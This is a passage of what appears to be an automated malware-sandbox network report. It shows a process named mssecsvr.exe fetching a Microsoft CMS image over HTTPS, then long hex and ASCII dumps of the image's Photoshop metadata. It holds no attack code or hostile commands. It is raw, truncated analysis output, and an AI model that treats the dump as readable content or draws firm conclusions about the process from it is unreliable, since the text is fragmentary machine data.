c5 f1 70 ad 18 43 12 88 45 e0 56 21 42 6e cf 27 8f e3 f0 79 6a 4f 45 86 2e 84 10 05 29 22 91 66 2c 3e 64 72 43 6b 35 bc 12 5e a4 58 b8 ad 86 43 81 6e dc b4 f2 7a d2 6b 7d 3e 40 c5 17 50 b1 2e a3 4f b3 96 40 72 3c 52 2d ff 00 Data Ascii: pjjWPvV&l&_f6RDA.$cAi[:EW=U5T[Q$GsW_@m3`^?F-l9fzLvx3xifQ9IuXydL$@wT?m)i~[TpCEV!Bn'yjOE.)"f,>drCk5^XCnzk}>@P.O@r<R-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.6	50723	80.67.82.211	443	C:\Windows\mssecsvr.exe

Timestamp	kBytes transferred	Direction	Data
2022-07-20 07:08:24 UTC	353	OUT	GET /cms/api/am/imageFileData/RE4ZFcU?ver=97b4 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134 Host: img-prod-cms-rt-microsoft-com.akamaized.net Connection: Keep-Alive
2022-07-20 07:08:24 UTC	562	IN	HTTP/1.1 200 OK Content-Type: image/jpeg Access-Control-Allow-Origin: * Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RE4ZFcU?ver=97b4 Last-Modified: Sat, 09 Jul 2022 20:59:21 GMT X-Source-Length: 1698691 X-Datacenter: northeu X-ActivityId: dfdcfdd0-ff33-41ac-85e2-616c6efe1acf Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 1698691 Cache-Control: public, max-age=309042 Expires: Sat, 23 Jul 2022 20:59:06 GMT Date: Wed, 20 Jul 2022 07:08:24 GMT Connection: close
2022-07-20 07:08:24 UTC	562	IN	Data Raw: ff d8 ff e1 18 b9 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 33 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 32 3a 30 36 3a 31 35 20 31 33 3a 34 30 3a 33 34 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00 Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 23.3 (Windows)2022:06:15 13:40:348"
2022-07-20 07:08:24 UTC	643	IN	Data Raw: 6d a0 48 f7 37 6f bb 6f f2 9b 67 bd 49 d8 18 e2 ad db c9 35 93 bc 00 36 c1 1b 9a d1 ff 00 4d 6b 60 74 4e a3 99 6d f5 d4 cd a5 f0 e9 71 82 01 d0 bb 6f d2 da ed 8b 6f 07 ea 6b 68 63 9b 96 f1 76 e2 d7 39 b3 b0 7b 66 36 1f ed 27 47 08 da be d5 b2 c9 e2 f1 b8 f4 64 5f 8c d1 55 6e 79 69 69 d0 13 a7 75 a2 cf f1 7d d7 72 70 9f 73 05 6c df 06 ba de ed af 31 fc 92 36 ff 00 d2 5d 5e 4f ad 89 8a ec 2c 4e 9c 0d 4e 10 db 1a e0 6c 69 fd e8 32 d7 ec fc df 7a e7 72 33 7e b5 e3 4b 43 ec 2d 9d 0b f6 cc 7e ef d2 2e db ff 00 19 ea 29 3d 91 5a d9 62 39 88 3a 39 d9 7f 54 f3 6a 6b 9c ec 8a 7d 80 97 56 24 bc 16 9d c5 be 9f d3 fc d4 0e 8f d0 d9 9f 77 a5 f6 da 6a 87 0d ed b4 96 3a 0b 5d 5f b0 6c f7 6e 4d 94 cc ab 6c 36 e5 06 32 ce 77 0f 61 f9 7a 2a ab c3 9c 03 5f 69 7f c6 49 ff 00 Data Ascii: mH7oogI56Mk`tNmqookhcv9{f6'Gd_Unyiiu}rpsl16]^O,NNli2zr3~KC-~.)=Zb9:9Tjk}V$wj:]_lnMl62waz*_iI
2022-07-20 07:08:24 UTC	659	IN	Data Raw: 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 4d 6f 76 69 65 73 5c 42 69 6e 67 4d 6f 76 69 65 73 5f 47 6f 6f 73 65 62 75 6d 70 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 30 36 30 38 36 39 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 31 32 54 31 33 3a 30 37 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 Data Ascii: indows10\BingMovies\BingMovies_Goosebumps_GettyImages-510608699_1080x1920.jpg saved 2016-07-12T13:07:58-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD
2022-07-20 07:08:24 UTC	710	IN	Data Raw: 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 33 39 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 31 3a 35 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 Data Ascii: ockscreen_1080x1920_Portrait.psd saved 2016-07-26T10:39:19-07:00 File Lockscreen_1080x1920_Portrait.psd opened 2016-07-26T10:41:53-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Lockscreen_1080x1920_Portrait.psd saved 2016-07-26
2022-07-20 07:08:24 UTC	797	IN	Data Raw: 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 32 35 54 31 33 3a 31 35 3a 31 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 32 35 54 31 33 3a 32 31 3a 31 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4c 69 66 65 63 79 63 6c 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 63 79 63 6c 65 5f 35 30 30 70 78 2d 37 30 37 34 32 30 39 39 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 Data Ascii: kscreen_1080x1920_Portrait.psd saved 2016-08-25T13:15:17-07:00 File Lockscreen_1080x1920_Portrait.psd opened 2016-08-25T13:21:19-07:00 File C:\Users\v-lizagh\MS\Windows10\Edge\Lifecycle\_Crops\Edge-Lifecycle_500px-70742099_1080x1920.psd sa
2022-07-20 07:08:24 UTC	845	IN	Data Raw: 61 67 65 2d 45 53 59 2d 30 31 33 34 31 36 36 32 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 31 54 31 36 3a 31 38 3a 30 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 31 54 31 37 3a 34 34 3a 35 38 2d 30 37 3a Data Ascii: age-ESY-013416629_1080x1920.jpg saved 2016-10-11T16:18:09-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2016-10-11T17:44:58-07:
2022-07-20 07:08:24 UTC	917	IN	Data Raw: 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 32 37 54 31 31 3a 31 38 3a 31 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 32 37 54 31 31 3a 32 35 3a 34 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 61 74 74 52 65 71 75 65 73 74 5c 43 72 6f 70 73 5c 4a 61 63 61 72 61 6e 64 61 54 72 65 65 73 5a 69 6d 62 61 62 77 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 35 38 32 30 34 38 32 32 5f 31 30 38 30 Data Ascii: kscreen_1080x1920_Portrait.psd saved 2016-10-27T11:18:13-07:00 File Lockscreen_1080x1920_Portrait.psd opened 2016-10-27T11:25:45-07:00 File C:\Users\v-lizagh\MS\Windows10\MattRequest\Crops\JacarandaTreesZimbabwe_shutterstock_158204822_1080
2022-07-20 07:08:24 UTC	1028	IN	Data Raw: 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 32 2d 33 30 54 31 31 3a 33 37 3a 31 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 4d 53 2d 52 65 77 61 72 64 73 5c 52 65 66 72 65 73 68 2d 52 6f 75 6e 64 32 5c 5f 43 48 4f 53 45 4e 5c 45 64 67 65 2d 52 65 77 61 72 64 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 38 35 31 37 33 31 37 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 32 2d 33 30 54 31 31 3a 33 38 3a 34 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 Data Ascii: 080x1920.jpg saved 2016-12-30T11:37:16-08:00 File C:\Users\v-lizagh\MS\Windows10\Edge\MS-Rewards\Refresh-Round2\_CHOSEN\Edge-Rewards_GettyImages-585173178_1080x1920.jpg saved 2016-12-30T11:38:40-08:00 File C:\Users\v-lizagh\MS\Windows10\Ed
2022-07-20 07:08:24 UTC	1108	IN	Data Raw: 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 30 39 54 31 35 3a 34 33 3a 33 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 31 35 54 31 34 3a 34 39 3a 35 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 Data Ascii: dobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-02-09T15:43:36-08:00 File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-02-15T14:49:55-08:00 F
2022-07-20 07:08:24 UTC	1433	IN	Data Raw: 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 34 34 3a 34 30 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 65 77 61 72 64 73 5c 53 74 61 72 62 75 63 6b 73 5c 43 48 4f 53 45 4e 5c 4d 53 2d 52 65 77 61 72 64 73 5f 53 74 61 72 62 75 63 6b 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 31 33 36 35 39 34 35 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 38 54 31 31 3a 34 38 3a 34 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c Data Ascii: x1920.jpg saved 2017-02-28T11:44:40-08:00 File C:\Users\v-lizagh\MS\Windows10\MSrewards\Starbucks\CHOSEN\MS-Rewards_Starbucks_GettyImages-613659454_1080x1920.jpg saved 2017-02-28T11:48:46-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\
2022-07-20 07:08:24 UTC	1505	IN	Data Raw: 37 31 46 39 34 30 45 42 30 41 30 44 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 31 3a 34 30 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c 43 48 4f 53 45 4e 5c 42 69 6e 67 41 74 57 6f 72 6b 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 33 38 30 39 39 35 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 31 32 54 31 31 3a 34 32 3a 32 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 42 69 6e 67 41 74 57 6f 72 6b 5c Data Ascii: 71F940EB0A0D.psb saved 2017-04-12T11:40:56-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing\BingAtWork\CHOSEN\BingAtWork_GettyImages-173809950_1080x1920.jpg saved 2017-04-12T11:42:29-07:00 File C:\Users\v-lizagh\MS\Windows10\Bing\BingAtWork\
2022-07-20 07:08:24 UTC	1561	IN	Data Raw: 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 36 3a 31 37 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 4d 4c 42 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 4d 4c 42 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 33 38 34 35 33 34 31 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 31 54 31 36 3a 31 38 3a 33 34 2d 30 37 Data Ascii: 9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-05-11T16:17:58-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\MLB\CHOSEN\Crops\MIT-MLB_GettyImages-173845341_1080x1920.psd saved 2017-05-11T16:18:34-07
2022-07-20 07:08:24 UTC	1664	IN	Data Raw: 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 38 54 31 30 3a 34 30 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 75 6d 6d 65 72 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 53 75 6d 6d 65 72 4d 6f 76 69 65 54 56 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 31 32 39 39 36 33 32 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 38 54 31 30 3a Data Ascii: lizagh\MS\Windows10\Lockscreen_1080x1920_Portrait.psd saved 2017-05-18T10:40:56-07:00 File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SummerEntertainment\Chosen\Crops\MIT-SummerMovieTV_GettyImages-171299632_1080x1920.psd saved 2017-05-18T10:
2022-07-20 07:08:24 UTC	1744	IN	Data Raw: 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 30 39 54 31 36 3a 33 36 3a 33 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c 6f 63 6b 32 30 31 37 5f 42 61 74 63 68 36 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4c 6f 63 6b 32 30 31 37 2d 42 36 5f 4d 45 5f 4d 6f 75 74 4e 65 6d 72 75 74 5f 35 30 30 70 78 2d 31 32 38 32 37 31 38 39 37 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 Data Ascii: cover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-07-09T16:36:32-07:00 File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\Lock2017_Batch6\_CHOSEN\Crops\Lock2017-B6_ME_MoutNemrut_500px-128271897_1080x1920.jpg
2022-07-20 07:08:24 UTC	1760	IN	Data Raw: 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 42 69 6e 67 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 31 39 34 31 38 35 39 39 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 33 31 54 31 34 3a 35 36 3a 30 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 42 69 6e 67 53 70 6f 74 6c 69 67 68 74 51 75 69 7a 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 34 35 Data Ascii: S\Windows10\Bing\SpotlightQuiz\_CHOSEN\Crops\BingSpotlightQuiz_shutterstock_19418599_1080x1920.jpg saved 2017-07-31T14:56:08-07:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_BingSpotlightQuiz_GettyImages-5045
2022-07-20 07:08:24 UTC	1879	IN	Data Raw: 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 46 30 31 39 34 34 45 44 31 42 37 43 33 38 42 38 44 46 35 33 38 45 43 44 33 39 43 34 43 43 46 43 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 38 54 31 36 3a 30 36 3a 35 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 45 64 67 65 47 72 6f 77 74 68 49 6d 61 67 65 73 5c 4c Data Ascii: 7:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1080x1920_PortraitF01944ED1B7C38B8DF538ECD39C4CCFC.psb saved 2017-08-28T16:06:58-07:00 File C:\Users\v-lizagh\MS\Windows10\BingEdgeGrowthImages\L
2022-07-20 07:08:24 UTC	1950	IN	Data Raw: 73 2d 31 36 38 35 31 30 37 35 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 38 54 31 35 3a 34 37 3a 35 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 46 61 6c 6c 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5c 46 61 6c 6c 43 72 65 61 74 6f 72 73 55 70 64 61 74 65 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 34 39 35 39 35 34 39 37 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 38 54 31 35 3a 34 38 3a 32 32 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f Data Ascii: s-168510758_1080x1920.jpg saved 2017-10-18T15:47:55-07:00 File C:\Users\v-lizagh\MS\Windows10\FallCreatorsUpdate\FallCreatorsUpdate_shutterstock_495954973_1080x1920.jpg saved 2017-10-18T15:48:22-07:00 File C:\Users\v-lizagh\MS\Windows10\Lo
2022-07-20 07:08:24 UTC	2014	IN	Data Raw: 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 42 6c 61 63 6b 46 72 69 64 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 36 38 34 32 33 38 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 31 2d 32 32 54 31 30 3a 34 37 3a 31 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4d 49 54 2d 42 6c 61 63 6b 46 72 69 64 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 34 34 35 35 31 31 32 34 5f 31 30 38 30 78 31 39 32 30 42 41 39 38 39 37 45 46 35 34 45 41 39 44 36 46 39 33 35 37 46 Data Ascii: CHOSEN\Crops\MIT-BlackFriday_GettyImages-506842383_1080x1920.jpg saved 2017-11-22T10:47:11-08:00 File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_MIT-BlackFriday_GettyImages-844551124_1080x1920BA9897EF54EA9D6F9357F
2022-07-20 07:08:24 UTC	2245	IN	Data Raw: 54 31 36 3a 30 39 3a 31 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 49 54 2d 49 6e 74 65 72 6e 61 74 69 6f 6e 61 6c 5c 54 72 61 76 65 6c 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 49 54 2d 54 72 61 76 65 6c 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 38 34 32 36 34 39 30 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 31 31 54 31 36 3a 31 31 3a 31 36 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 